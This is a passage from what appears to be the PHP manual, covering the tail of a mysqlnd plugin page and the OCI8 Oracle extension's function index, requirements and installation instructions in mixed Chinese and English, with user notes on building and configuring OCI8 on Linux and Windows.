    zval_ptr_dtor(&zv_conn);
    /* ... */
  }
  /* ... */
}

The first argument of many mysqlnd methods is a C "object". For example, the first argument of the connect() method is a pointer to MYSQLND. The struct MYSQLND represents a mysqlnd connection object.

The mysqlnd connection object pointer can be compared to a standard I/O file handle. Like a standard I/O file handle a mysqlnd connection object shall be linked to the userspace using the PHP resource variable type.

From C to userspace and back

 class proxy extends mysqlnd_plugin_connection {
  public function connect($conn, $host, ...) {
    /* "pre" hook */
    printf("Connecting to host = '%s'\n", $host);
    debug_print_backtrace();
    return parent::connect($conn);
  }

  public function query($conn, $query) {
    /* "post" hook */
    $ret = parent::query($conn, $query);
    printf("Query = '%s'\n", $query);
    return $ret;
  }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

PHP users must be able to call the parent implementation of an overwritten method.

As a result of subclassing it is possible to refine only selected methods and you can choose to have "pre" or "post" hooks.

Buildin class: mysqlnd_plugin_connection::connect()

/*  my_mysqlnd_plugin_classes.c */

 PHP_METHOD("mysqlnd_plugin_connection", connect) {
  /* ... simplified! ... */
  zval* mysqlnd_rsrc;
  MYSQLND* conn;
  char* host; int host_len;
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rs",
    &mysqlnd_rsrc, &host, &host_len) == FAILURE) {
    RETURN_NULL();
  }
  ZEND_FETCH_RESOURCE(conn, MYSQLND* conn, &mysqlnd_rsrc, -1,
    "Mysqlnd Connection", le_mysqlnd_plugin_conn);
  if (PASS == org_methods.connect(conn, host, /* simplified! */ TSRMLS_CC))
    RETVAL_TRUE;
  else
    RETVAL_FALSE;
}

User Contributed Notes

There are no user contributed notes for this page.


Oracle OCI8

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • Testing
    • 运行时配置
  • 预定义常量
  • 示例
  • OCI8 Connection Handling and Connection Pooling
  • OCI8 Fast Application Notification (FAN) Support
  • OCI8 Transparent Application Failover (TAF) Support
  • OCI8 and DTrace Dynamic Tracing
  • Supported Datatypes
  • OCI8 函数
    • oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter
    • oci_bind_by_name — 绑定 PHP 变量到 Oracle 位置标志符
    • oci_cancel — 中断游标读取数据
    • oci_client_version — Returns the Oracle client library version
    • oci_close — 关闭 Oracle 连接
    • oci_commit — 提交未完成的数据库事务
    • oci_connect — 建立一个到 Oracle 服务器的连接
    • oci_define_by_name — 将 PHP 变量与查询读取的列相关联
    • oci_error — 返回最后发现的错误
    • oci_execute — 执行语句
    • oci_fetch_all — 从查询中读取多行到二维数组中
    • oci_fetch_array — Returns the next row from a query as an associative or numeric array
    • oci_fetch_assoc — Returns the next row from a query as an associative array
    • oci_fetch_object — Returns the next row from a query as an object
    • oci_fetch_row — Returns the next row from a query as a numeric array
    • oci_fetch — 从查询中读取下一行到内部缓冲区
    • oci_field_is_null — 检测当前获取的行中，字段是否为 null
    • oci_field_name — 返回 statement 中的字段名
    • oci_field_precision — 返回字段精度
    • oci_field_scale — 返回字段范围
    • oci_field_size — 返回字段大小
    • oci_field_type_raw — 返回字段的原始 Oracle 数据类型
    • oci_field_type — 返回字段的数据类型名称
    • oci_free_descriptor — Frees a descriptor
    • oci_free_statement — 释放关联于语句或游标的所有资源
    • oci_get_implicit_resultset — Returns the next child statement resource from a parent statement resource that has Oracle Database Implicit Result Sets
    • oci_lob_copy — Copies large object
    • oci_lob_is_equal — Compares two LOB/FILE locators for equality
    • oci_new_collection — 分配新的 collection 对象
    • oci_new_connect — 使用唯一连接，连接到 Oracle 服务器
    • oci_new_cursor — 分配并返回新的游标（语句句柄）
    • oci_new_descriptor — 初始化新的空 LOB 或 FILE 描述符
    • oci_num_fields — 返回语句中结果列的数量
    • oci_num_rows — 返回语句执行后受影响的行数
    • oci_parse — 预处理用于执行的 Oracle 语句
    • oci_password_change — 修改 Oracle 用户的密码
    • oci_pconnect — 使用持久连接连，连接到 Oracle 数据库
    • oci_register_taf_callback — Register a user-defined callback function for Oracle Database TAF
    • oci_result — 返回所取得行中字段的值
    • oci_rollback — 回滚未完成的事务
    • oci_server_version — 返回 Oracle 数据库版本
    • oci_set_action — Sets the action name
    • oci_set_call_timeout — Sets a millisecond timeout for database calls
    • oci_set_client_identifier — Sets the client identifier
    • oci_set_client_info — Sets the client information
    • oci_set_db_operation — Sets the database operation
    • oci_set_edition — Sets the database edition
    • oci_set_module_name — Sets the module name
    • oci_set_prefetch_lob — Sets the amount of data prefetched for each CLOB or BLOB.
    • oci_set_prefetch — 设置查询预读取的行数
    • oci_statement_type — 返回语句的类型
    • oci_unregister_taf_callback — Unregister a user-defined callback function for Oracle Database TAF
  • OCICollection — The OCICollection class
    • OCICollection::append — Appends element to the collection
    • OCICollection::assign — Assigns a value to the collection from another existing collection
    • OCICollection::assignElem — Assigns a value to the element of the collection
    • OCICollection::free — Frees the resources associated with the collection object
    • OCICollection::getElem — Returns value of the element
    • OCICollection::max — Returns the maximum number of elements in the collection
    • OCICollection::size — Returns size of the collection
    • OCICollection::trim — Trims elements from the end of the collection
  • OCILob — The OCILob class
    • OCILob::append — Appends data from the large object to another large object
    • OCILob::close — Closes LOB descriptor
    • OCILob::eof — Tests for end-of-file on a large object's descriptor
    • OCILob::erase — Erases a specified portion of the internal LOB data
    • OCILob::export — Exports LOB's contents to a file
    • OCILob::flush — Flushes/writes buffer of the LOB to the server
    • OCILob::free — Frees resources associated with the LOB descriptor
    • OCILob::getBuffering — Returns current state of buffering for the large object
    • OCILob::import — Imports file data to the LOB
    • OCILob::load — Returns large object's contents
    • OCILob::read — Reads part of the large object
    • OCILob::rewind — Moves the internal pointer to the beginning of the large object
    • OCILob::save — Saves data to the large object
    • OCILob::saveFile — 别名 OCILob::import
    • OCILob::seek — Sets the internal pointer of the large object
    • OCILob::setBuffering — Changes current state of buffering for the large object
    • OCILob::size — Returns size of large object
    • OCILob::tell — Returns the current position of internal pointer of large object
    • OCILob::truncate — Truncates large object
    • OCILob::write — Writes data to the large object
    • OCILob::writeTemporary — Writes a temporary large object
    • OCILob::writeToFile — 别名 OCILob::export
  • OCI8 Obsolete Aliases and Functions
    • oci_internal_debug — Enables or disables internal debug output
    • ocibindbyname — 别名 oci_bind_by_name
    • ocicancel — 别名 oci_cancel
    • ocicloselob — 别名 OCILob::close
    • ocicollappend — 别名 OCICollection::append
    • ocicollassign — 别名 OCICollection::assign
    • ocicollassignelem — 别名 OCICollection::assignElem
    • ocicollgetelem — 别名 OCICollection::getElem
    • ocicollmax — 别名 OCICollection::max
    • ocicollsize — 别名 OCICollection::size
    • ocicolltrim — 别名 OCICollection::trim
    • ocicolumnisnull — 别名 oci_field_is_null
    • ocicolumnname — 别名 oci_field_name
    • ocicolumnprecision — 别名 oci_field_precision
    • ocicolumnscale — 别名 oci_field_scale
    • ocicolumnsize — 别名 oci_field_size
    • ocicolumntype — 别名 oci_field_type
    • ocicolumntyperaw — 别名 oci_field_type_raw
    • ocicommit — 别名 oci_commit
    • ocidefinebyname — 别名 oci_define_by_name
    • ocierror — 别名 oci_error
    • ociexecute — 别名 oci_execute
    • ocifetch — 别名 oci_fetch
    • ocifetchinto — Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row
    • ocifetchstatement — 别名 oci_fetch_all
    • ocifreecollection — 别名 OCICollection::free
    • ocifreecursor — 别名 oci_free_statement
    • ocifreedesc — 别名 OCILob::free
    • ocifreestatement — 别名 oci_free_statement
    • ociinternaldebug — 别名 oci_internal_debug
    • ociloadlob — 别名 OCILob::load
    • ocilogoff — 别名 oci_close
    • ocilogon — 别名 oci_connect
    • ocinewcollection — 别名 oci_new_collection
    • ocinewcursor — 别名 oci_new_cursor
    • ocinewdescriptor — 别名 oci_new_descriptor
    • ocinlogon — 别名 oci_new_connect
    • ocinumcols — 别名 oci_num_fields
    • ociparse — 别名 oci_parse
    • ociplogon — 别名 oci_pconnect
    • ociresult — 别名 oci_result
    • ocirollback — 别名 oci_rollback
    • ocirowcount — 别名 oci_num_rows
    • ocisavelob — 别名 OCILob::save
    • ocisavelobfile — 别名 OCILob::import
    • ociserverversion — 别名 oci_server_version
    • ocisetprefetch — 别名 oci_set_prefetch
    • ocistatementtype — 别名 oci_statement_type
    • ociwritelobtofile — 别名 OCILob::export
    • ociwritetemporarylob — 别名 OCILob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数允许访问 Oracle 数据库。支持 SQL 和 PL/SQL 语句。基本功能包括对事务控制、PHP 变量与 Oracle 占位符的绑定以及大对象（LOB）类型和集合的支持。还支持 Oracle 的可伸缩性特性，例如数据库驻留连接池（DRCP）和结果缓存。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • Testing
  • 运行时配置

User Contributed Notes

There are no user contributed notes for this page.


需求

OCI8 3.0 is included with PHP 8. It is also available from » PECL. For PHP 7, use OCI8 2.2 from » PECL. OCI8 requires Oracle 10g or later Oracle client libraries.

If the Oracle Database is on the same machine as PHP, the database software already contains the necessary libraries and header files. When PHP is on a different machine, use the free » Oracle Instant Client libraries.

To use Oracle Instant Client, install the Basic or Basic Light Oracle Instant Client ZIP file, RPM package, or DMG package. When building OCI8 from source code, also install the Instant Client SDK.

You must run PHP with the same, or a more recent, version of the Oracle libraries that OCI8 was built with.

Note:

Oracle's standard client-server network interoperability allows connections between different versions of Oracle Client and Oracle Database. For certified configurations see Oracle Support's Doc ID 207303.1. In summary, Oracle Client 19, 18 and 12.2 can connect to Oracle Database 11.2 or greater. Oracle Client 12.1 can connect to Oracle Database 10.2 or greater. Oracle Client 11.2 can connect to Oracle Database 9.2 or greater.

Note:

Full OCI8 feature support is only available when using the most recent versions of the Oracle client libraries and database.

User Contributed Notes

Wilber 09-Jul-2022 03:00
The OCI8 extension lets you access Oracle Database.

Use 'pecl install oci8' to install for PHP 8.1.

Use 'pecl install oci8-3.0.1' to install for PHP 8.0.

Use 'pecl install oci8-2.2.0' to install for PHP 7.

Use 'pecl install oci8-2.0.12' to install for PHP 5.2 - PHP 5.6.

Use 'pecl install oci8-1.4.10' to install for PHP 4.3.9 - PHP 5.1.

[username@hostname ~]# php -v
^ To see PHP version
charles dot fisher at arconic dot com 27-Dec-2019 05:00
Oracle's development package includes an ldap.h file that causes compilation attempts of PHP to fail.

For the oracle-instantclient12.2-devel 64-bit RPM, this file is found in the following path:

/usr/include/oracle/12.2/client64/ldap.h

Rename this file to ldap.h-oracle.

After doing so, and assuming there are no other build problems, PHP will compile (even when ldap and oci are configured in the build).
Andi,post at rueckauer dot nospam dot ch 01-May-2018 12:14
The provided link to the Oracle Instant Client is not valid anymore. Visit http://www.oracle.com/technetwork/database/database-technologies/instant-client/downloads/index.html instead.
sgfan at gmx dot net 27-Sep-2017 09:31
I can confirm Rainer's observations and this not limited to PHP. One cannot link libopenldap with C with Oracle driver without crashing the app at runtime. Same here on HP-UX. Both won't play nice at all.
Rainer Perske 28-Jun-2017 06:16
Oracle Instant Client provides its own LDAP library that may be incompatible to the LDAP library provided by the operating system.

Segmentation faults and other errors can happen if you load an OCI8 extension into a PHP containing LDAP support or if you load a PHP module with OCI8 into an Apache server with LDAP support.

But this depends heavily on the exact versions of operating system, system LDAP library, PHP,  OCI8, and other pieces of software involved.


安装

使用 OCI8 配置 PHP

在配置 OCI8 之前查看前面的要求部分。

在启动 Web 服务器之前，OCI8 通常需要几个 Oracle 环境变量（见下文）来定位库、指向配置文件并设置一些基本属性，例如 Oracle 库使用的字符集。必须在 PHP 进程启动之前设置变量。

PHP 二进制文件必须链接到与其配置时相同或更高的主要 Oracle 库版本。例如，如果使用 Oracle 19 库编译 OCI8，那么 PHP 也应该使用 Oracle 19 库部署和运行。PHP 应用程序可以连接到其他版本的 Oracle 数据库，因为 Oracle 具有客户端-服务器跨版本兼容性。

使用 pecl 命令从 PECL 安装 OCI8

可以使用 » PECL 存储库将 OCI8 扩展添加到已安装的现有 PHP 中。

  • 如果在防火墙的后面，设置 PEAR 代理，例如：

    pear config-set http_proxy http://my-proxy.example.com:80/

  • 运行

    pecl install oci8

    对于 PHP 7，使用 pecl install oci8-2.2.0

  • 出现提示时，输入 $ORACLE_HOME 的值或 instantclient,/path/to/instant/client/lib。

    注意：不要输入 $ORACLE_HOME 或 $HOME 之类的变量名，因为 pecl 不会展开它们。反而应该输入展开后的路径，例如 /opt/oracle/product/19c/dbhome_1 或 instantclient,/Users/myname/Downloads/instantclient_19_8

  • 如果收到错误 oci8_dtrace_gen.h: No such file or directory，这意味着 PHP 是在启用 DTrace 动态跟踪的情况下编译的。使用如下安装：

    $ export PHP_DTRACE=yes
$ pecl install oci8

  • 编辑 php.ini 文件并添加以下行：

    extension=oci8.so

    确保 php.ini 指令 extension_dir 设置为安装 oci8.so 的目录。

使用 phpize 从 PECL 安装 OCI8

要在无法使用 pecl 命令时在已安装的现有 PHP 上安装 OCI8，请手动下载 » PECL OCI8 包，例如 oci8-3.0.0.tgz。

  • 解压包：

    tar -zxf oci8-3.0.0.tgz
cd oci8-3.0.0

  • 预处理包：

    phpize

  • 使用 $ORACLE_HOME 或 Instant Client 配置包

    ./configure -with-oci8=shared,$ORACLE_HOME

    或

    ./configure -with-oci8=shared,instantclient,/path/to/instant/client/lib

  • 安装包：

    make install

  • 如果收到错误 oci8_dtrace_gen.h: No such file or directory，这意味着 PHP 是在启用 DTrace 动态跟踪的情况下编译的。设置此环境变量后重新运行 configure 和 make 命令：

    $ export PHP_DTRACE=yes

  • 编辑 php.ini 文件并添加以下行：

    extension=oci8.so

    确保 php.ini 指令 extension_dir 设置为安装 oci8.so 的目录。

编译 PHP 时将 OCI8 作为共享扩展安装

如果从源代码编译 PHP，则可以使用 shared 配置选项将 OCI8 编译为共享库，可以动态加载到 PHP。编译共享扩展可以轻松升级 OCI8 ，而不会影响 PHP 的其它部分。

使用以下任一配置选项配置 OCI8。

  • 如果使用免费的 » Oracle Instant Client 库，则执行以下操作：

    ./configure --with-oci8=shared,instantclient,/path/to/instant/client/lib

    如果 Instant Client 12.2（或更早版本）是从 ZIP 文件安装的，请首先确保创建库符号链接，例如 ln -s libclntsh.so.12.1 libclntsh.so。

    如果使用基于 RPM 的 Oracle Instant Client 安装，配置行将如下所示：

    ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/<version>/client/lib

    例如：--with-oci8=shared,instantclient,/usr/lib/oracle/19.9/client/lib

  • 如果使用 Oracle 数据库或完整的 Oracle 客户端安装，则执行以下操作：

    ./configure --with-oci8=shared,$ORACLE_HOME

    确保 Web 服务器用户（nobody、www）可以访问 $ORACLE_HOME 目录下的库、初始化文件和 tnsnames.ora（如果使用）。对于 Oracle 10gR2，可能需要运行 $ORACLE_HOME/install/changePerm.sh 实用程序来授予目录访问权限。

配置后，遵循通用的 PHP 编译过程，例如 make install。将创建 OCI8 共享扩展 oci8.so 库。可能需要手动移动到 PHP 扩展目录，由 php.ini 文件中的 extension_dir 选项指定。

要完成 OCI8 的安装，请编辑 php.ini 并添加以下行：

extension=oci8.so

编译 PHP 时将 OCI8 作为静态编译扩展安装

如果从源代码编译 PHP，则可以使用以下任一配置选项，配置 PHP 为包含 OCI8 静态扩展的 PHP。

  • 如果使用 Oracle Instant Client，则执行以下操作：

    ./configure --with-oci8=instantclient,/path/to/instant/client/lib

  • 如果使用 Oracle 数据库或完整的 Oracle 客户端安装，则执行以下操作：

    ./configure --with-oci8=$ORACLE_HOME

配置后，遵循通用的 PHP 编译过程，例如 make install。编译成功后，不需要在 php.ini 中加入 oci8.so。不需要额外的编译步骤。

在 Windows 上安装 OCI8

通过使用 » PECL 存储库或函数库（library）中的 DLL，在已安装 PHP 的 ext 中，将 OCI8 扩展添加到现有的 PHP 安装中。

对于 Oracle 12c（或更高版本）的库，取消注释其中 php.ini 行 extension=php_oci8_12c.dll 或 extension=php_oci8_11g.dll 或 extension=php_oci8.dll 中的一个。一次只能启用这些 DLL 中的一个。更高版本的 DLL 可能包含更多功能。并非所有 DLL 都适用于所有版本的 PHP。确保将 extension_dir 设置为包含 PHP 扩展 DLL 的目录。

如果使用 Instant Client，请将系统 PATH 环境变量设置为 Oracle 库目录。

设置 Oracle 环境

在使用此扩展之前，请确保为 Web 守护程序用户正确设置了 Oracle 环境变量。 如果 Web 服务器在启动时自动启动，请确保启动时环境也已正确配置。

Note:

不要在 PHP 脚本中使用 putenv() 设置 Oracle 环境变量，因为 Oracle 库可能会在脚本运行之前加载和初始化。使用 putenv() 设置的变量可能会导致冲突、崩溃或不可预知的行为。有些函数可能有效，但其它函数可能会出现细微的错误。应在启动 Web 服务器之前设置变量。

在 Red Hat Linux 及其变体上，在 /etc/sysconfig/httpd 末尾导出变量。其他带有 Apache 2 的系统可能会使用 Apache bin 目录中的 envvars 脚本。 A third option, the Apache SetEnv directive in httpd.conf, may work in some systems but is known to be insufficient in others.

要检查环境变量是否设置正确，请使用 phpinfo() 并检查 Environment（不是 Apache Environment）部分是否包含预期变量。

可能需要的变量包含在下表中。有关所有可用变量的更多信息，请参阅 Oracle 文档。

常见的 Oracle 环境变量
Name | Purpose
ORACLE_HOME | 包含完整 Oracle 数据库软件的目录。使用 Oracle Instant Client 时不要设置它，因为它是不必要的并且可能会导致安装问题。
ORACLE_SID | 包含要连接到的本地计算机上的数据库的名称。如果使用 Oracle Instant Client 或始终将连接参数传递给 oci_connect() 时，则无需设置此项。
LD_LIBRARY_PATH | 将其（或其平台等效项，例如 LIBPATH 或 SHLIB_PATH）设置为 Oracle 库的位置，例如 $ORACLE_HOME/lib 或 /usr/lib/oracle/18.5/client/lib。请注意，对于 Linux 上的 Instant Client ZIP 文件，使用 ldconfig 更可靠，请参阅 Instant Client 安装说明。对于 Instant Client 19（或更高版本）RPM 文件，ldconfig 会自动运行。有些用户使用 LD_PRELOAD 而不是 LD_LIBRARY_PATH。
NLS_LANG | 这是设置 Oracle 库使用的字符集和国际化信息的主要变量。
ORA_SDTZ | 设置 Oracle 会话时区。
TNS_ADMIN | Contains the directory where the Oracle Net Services configuration files such as tnsnames.ora and sqlnet.ora are kept. Not needed if the oci_connect() connection string uses the Easy Connect naming syntax such as localhost/XE. Not needed if the network configuration files are in one of the default locations such as /usr/lib/oracle/VERSION/client/lib/network/admin, $ORACLE_HOME/network/admin or /etc.
不太常用的 Oracle 环境变量包括 TWO_TASK、ORA_TZFILE 和各种 Oracle 全局设置，如 NLS* 和 ORA_NLS_* 变量。

故障排除

安装 OCI8 最常见的问题是没有正确设置 Oracle 环境。这通常表现为使用 oci_connect() 或 oci_pconnect() 的问题。该错误可能是 PHP 错误，例如 Call to undefined function oci_connect()，Oracle 错误（例如 ORA-12705），甚至是 Apache 崩溃。检查 Apache 日志文件中的启动错误，并查看以上部分以解决此问题。

虽然 ORA-12154 或 ORA-12514 等网络错误表示是 Oracle 网络命名或配置问题，但根本原因可能是因为 PHP 环境设置不正确，Oracle 库无法找到 tnsnames.ora 配置文件。

在 Windows 上，在一台机器上安装多个版本的 Oracle 很容易导致库冲突，除非注意确保 PHP 只使用正确版本的 Oracle。

用于检查查找和加载哪些库的实用程序可以帮助解决库丢失或冲突问题，尤其是在 Windows 上。

Note: 如果 Web 服务器未启动或在启动时崩溃

检查 Apache 是否与 pthread 库链接：

# ldd /www/apache/bin/httpd
  libpthread.so.0 => /lib/libpthread.so.0 (0x4001c000)
  libm.so.6 => /lib/libm.so.6 (0x4002f000)
  libcrypt.so.1 => /lib/libcrypt.so.1 (0x4004c000)
  libdl.so.2 => /lib/libdl.so.2 (0x4007a000)
  libc.so.6 => /lib/libc.so.6 (0x4007e000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

如果未列出 libpthread，则需要重新安装 Apache：

# cd /usr/src/apache_1.3.xx
# make clean
# LIBS=-lpthread ./config.status
# make
# make install

请注意，在某些系统（如 UnixWare）上，它是 libthread 而不是 libpthread PHP 和 Apache 必须配置 EXTRA_LIBS=-lthread。

User Contributed Notes

Wilber 09-Jul-2022 03:01
The OCI8 extension lets you access Oracle Database.

Use 'pecl install oci8' to install for PHP 8.1.

Use 'pecl install oci8-3.0.1' to install for PHP 8.0.

Use 'pecl install oci8-2.2.0' to install for PHP 7.

Use 'pecl install oci8-2.0.12' to install for PHP 5.2 - PHP 5.6.

Use 'pecl install oci8-1.4.10' to install for PHP 4.3.9 - PHP 5.1.

[username@hostname ~]# php -v
^ To see PHP version
semenov dot v at gmail dot com 17-Jun-2019 05:36
CentOS 7 PECL with oci8-2

After documented installation stucks

$ yum install systemtap-sdt-devel
$ export ORACLE_HOME=/usr/include/oracle/XX.X/client64
$ LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export $ LD_LIBRARY_PATH
$ export PHP_DTRACE=yes
$ C_INCLUDE_PATH=/usr/include/oracle/XX.X/client64 pecl install oci8
[autodetect]
$ echo extension=oci8.so > /etc/php.d/instantclient.ini
$ systemctl reload https
wingjeeplau at gmail dot com 03-Jul-2013 11:38
In Ubuntu the setting is in file /etc/apache2/envvars
Sergey 03-Oct-2012 08:31
Lost a day on trying to make work oci8 & pdo_oci extensions in php-fpm 5.3 on OpenSuSE 12.2 (64bit) with latest oracle instant client 11.2.0.3.0.
Any of two works normally with generic instructions. But both extensions caused crash in oci_connect().

Solution was simple add ORACLE_HOME variable BEFORE running php-fpm.

/etc/profile.d/oracle.sh
#!/bin/bash
ORACLE_HOME=/usr/lib/oracle/11.2/client64
LD_LIBRARY_PATH=$ORACLE_HOME/lib
NLS_LANG=american_america.utf8
export ORACLE_HOME LD_LIBRARY_PATH NLS_LANG

/etc/init.d/php-fpm
.....
. /etc/rc.status
. /etc/profile.d/oracle.sh # add this after rc.status (note: dot & space)
.....

After "service php-fpm restart" works normally. Hope this helps.
Saxon Leung 21-Feb-2012 09:12
Spending long time in researching how to install this on a freshly installed [Red Hat-based (RHEL, CentOS, Fedora)] Linux, and finally I come to this:

1) Download & install

#yum install oracle-instantclient-basic
#yum install oracle-instantclient-devel

or

Download:
oci8-1.4.7.tgz
oracle-instantclient11.2-basic-11.2.0.3.0-1.x86_64.rpm
oracle-instantclient11.2-devel-11.2.0.3.0-1.x86_64.rpm

#rpm -i oracle-instantclient11.2-basic-11.2.0.3.0-1.x86_64.rpm
#rpm -i oracle-instantclient11.2-devel-11.2.0.3.0-1.x86_64.rpm

2) Check PHP version:

#rpm -qa | grep php

It should looks sth like this:
php-devel-5.3.10-1.w5
php-pdo-5.3.10-1.w5
php-ldap-5.3.10-1.w5
php-cli-5.3.10-1.w5
php-mysql-5.3.10-1.w5
php-5.3.10-1.w5
php-common-5.3.10-1.w5

3) Update if needed by:

#yum --enablerepo=webtatic update php

** Make sure you have php-devel installed before updating to a newer version, or you might have problem to add package back. If it happened, you\\'ll have to reinstall all php packages (sadly I did):

#yum remove php-common
#yum --enablerepo=webtatic install php

4) Remember to install a C compiler for installation use:
#yum install gcc

5) Unzip oci8-1.4.7.tgz:
#tar xvzf oci8-1.4.7

6) Run phpize (php-devel required):
# phpize

7) Setup Config:
# ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/11.2/client64/lib

8) Add a sym-link to the SDK header files (Comes with the instantclient-devel)

#ln -s /usr/include/oracle/11.2/client64/ /usr/lib/oracle/11.2/client64/lib/include

** The installation defaults to use 1 dir path only, so the missing SDK files need to add back to that directory, by adding a sym-link \\"include\\" under the lib folder.

9) Compile and install:
#make all install

[Please note that I'm installing on a 64-bit platform so links are pointing at client64 instead of client]
modir at huanga dot com 23-May-2011 03:02
For those of you who would like to install this extension on an RedHat/CentOS server. It is actually pretty simple.

Here is what you have to do:
1) Download the following RPM from Oracle: oracle-instantclient11.2-basiclite-11.2.0.2.0.x86_64.rpm (Version number can be newer and check if you need the 64bit version or not). And then install it on the server.

2) yum install php-oci8

3) And as the last step you edit /etc/sysconfig/httpd and write the following line at the end: export LD_LIBRARY_PATH=/usr/lib/oracle/11.2/client64/lib/ (Attention: Path changes depending on the version you have downloaded from the Oracle website.)
beer at myplace dot now 03-Aug-2009 10:24
I was experiencing issues with Unicode characters being saved incorrectly to my ORA 10 DB. Issue was tracked to not having a NLS_LANG environment variable specified - set this correctly in the Apache environment and the issue was resolved.
benstendahl at hotmail dot com 13-Jul-2009 11:46
When using PHP on an IIS server (Windows Server 2000+):

After installing the Oracle Instant Client and adding it to the "PATH" Environment Variable, be sure that you also add "Read & Execute" privileges to the Oracle Instant Client directory for the IIS user designated for the site.  This is especially necessary if IIS has been hardened using the IIS Lockdown tool (http://technet.microsoft.com/en-us/library/dd450372(WS.10).aspx) as users must be explicitly granted permissions from the web.
nicodenboer (at) yahoo (dot) com 22-Nov-2008 09:35
Hi, I use Oracle Database 10g Express Edition Release
10.2.0.1.0 on a Linux workstation for dev purposes, along
with Apache 2 and PHP5. So far I have used it on Kubuntu 8.04.
To get things working on a recently installed notebook with openSUSE
11.0 was a bit more complicated. So I hope someone will be able to
benefit from our experiences. Here is our howto:

# Use the package manager to install the packages php5-pear and
php5-dev, if not installed yet.

# Download the instantclient_11_1, zip files basic, sdk, sqlplus from the Oracle web site

# Switch to user root here, since not all commands to some work sudo

# Unzip these files to /opt/oracle/.
# As a result you will see a dir instantclient_11_1 appearing.

ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /opt/oracle/instantclient_11_1/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /usr/lib/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libnnz11.so \
   /usr/lib/libnnz11.so
ldconfig # to make sure the system will be able to find the libs

pecl install oci8 # interactively enter option 1,
# then instantclient,/opt/oracle/instantclient_11_1,
# then enter

# if needed, add extension=oci8.so to your php.ini

/etc/init.d/apache2 reload

# finished!

Kind regards,
Nico den Boer
alvaro at demogracia dot com 10-Jun-2008 04:24
If you've followed the instructions and you can't even connect to the DB server, welcome to the Oracle hell. Most of the information you'll find is deprecated, incomplete, not for your platform, unnecessary or just plain wrong.

Typically, you won't need at all those complicate setups you'll read about and they'll probably make things harder. I suggest you get Systernal's "Filemon" utility (for Windows, in Unix you may do with strace) and find out what exact config files and DLLs are being tried by php.exe (or httpd.exe if PHP runs as Apache module or...). Pretty often, the issue is that (e.g.) TNSNAMES.ORA does not have the correct line ending or Apache is looking for a DLL that does not even exist in your hard disc; learning that prevents you to waste time adding more and more useless environmental variables.

Goog luck.
mike at macgirvin.com 20-May-2008 06:05
Some notes to save somebody some grief:

Installing the Oracle libraries and access module into an existing PHP5 installation on Debian etch without rebuilding php...

First grab the Linux instantclient from oracle.com - you'll also need the client SDK kit. Here I'm using instantclient 11.1

create a directory for these such as /home/oracle and unpack both of them to that directory.

Go into the oracle directory (and into the instantclient_11_1 directory) and create a symlink:

$ ln -s libclntsh.so.11.1 libclntsh.so

Grab the oci8 PECL package and unpack it somewhere (~/oci).

Make sure you have the following packages (in addition to php5, php5-cli, apache2, etc).

  php5-dev

  libaio1

  php-pear

Go to the oci8 directory (~/oci/).

You need to run 'pecl build' once to create the configure script.

$pecl build

But the problem is that pecl build will claim the files are installed and they are not. I wasted half a day on this one. Now go into the oci8-1.3.0 directory and build again by hand:

$ cd oci8-1.3.0

$ ./configure --with-oci8=instantclient,/home/oracle/instantclient_11_1

$ make

Fix any errors/warnings before continuing

Don't make install, which won't work.

$ cp ./modules/oci8.so /usr/lib/php5/20060613+lfs

Replace 20060613+lfs with whatever module directory has been setup for you in /usr/lib/php5

Create /etc/php5/conf.d/oci8.ini:

----

extension=oci8.so

----

Now run the php cmdline in verbose mode (php -v) and see if everything loaded. Fix it if it didn't.

You may need some env variables setup in your /etc/init.d/apache2 file to make everything work and actually execute queries, but a phpinfo() at this point should show your oci8 extension. See the php.net Oracle pages if you need help with the env variables.

Restart the web server

$ /etc/init.d/apache2 restart
david dot reynoldsat at ipl dot com 10-Apr-2007 07:56
I had a problem loading php_oci8.dll with php 5.2, Apache, and windows XP - a module not loaded error, on every apache restart.
I eventually found that I had to add the oracle instantclient library path to the %PATH% under SYSTEM and not under USER.  Doing that, and then rebooting, fixed the error - as Apache is starting as a service (outside the user setup).
jay dot couture at gmail dot com 06-Dec-2006 03:26
# Here's what it took to get it going for me on Red Hat on
# x86_32 w/ 10gr2 and php5.1.2
# I sincerely appreciate all of the other poster's notes.
# It was a combination of a few
# of them to get mine configured. My note should reflect this:

# install the instantclient basic and sdk like this
# note: the original poster had you install into a lib subdirectory,
# but when I tried this it couldn't find the sdk files. So I moved
# the files in lib into the parent directory as
# shown below. Actually I copied them, YMMV
mkdir -p /usr/lib/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-basic-linux-x86-32-10.2.0.2-20060331.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-sdk-linux-x86-32-10.2.0.2-20060331.zip
ln -s /usr/lib/oracle/10.2.0.2/client/libclntsh.so.10.1
    /usr/lib/oracle/10.2.0.2/client/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

#php configure line is:
    ./configure --with-oci8=instantclient,/usr/lib/oracle/10.2.0.2/client

# I had to do this, or the OCI8 would not compile when
# I ran make on PHP5.1.2 I did not do this originally when I
# had the files in the lib sudirectory (see my note above) so
# that may be the true issue.
export LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH

make

make install

#In apache2 edit the envvars and add
LD_LIBRARY_PATH="/usr/local/apache2/lib:
    /usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH"
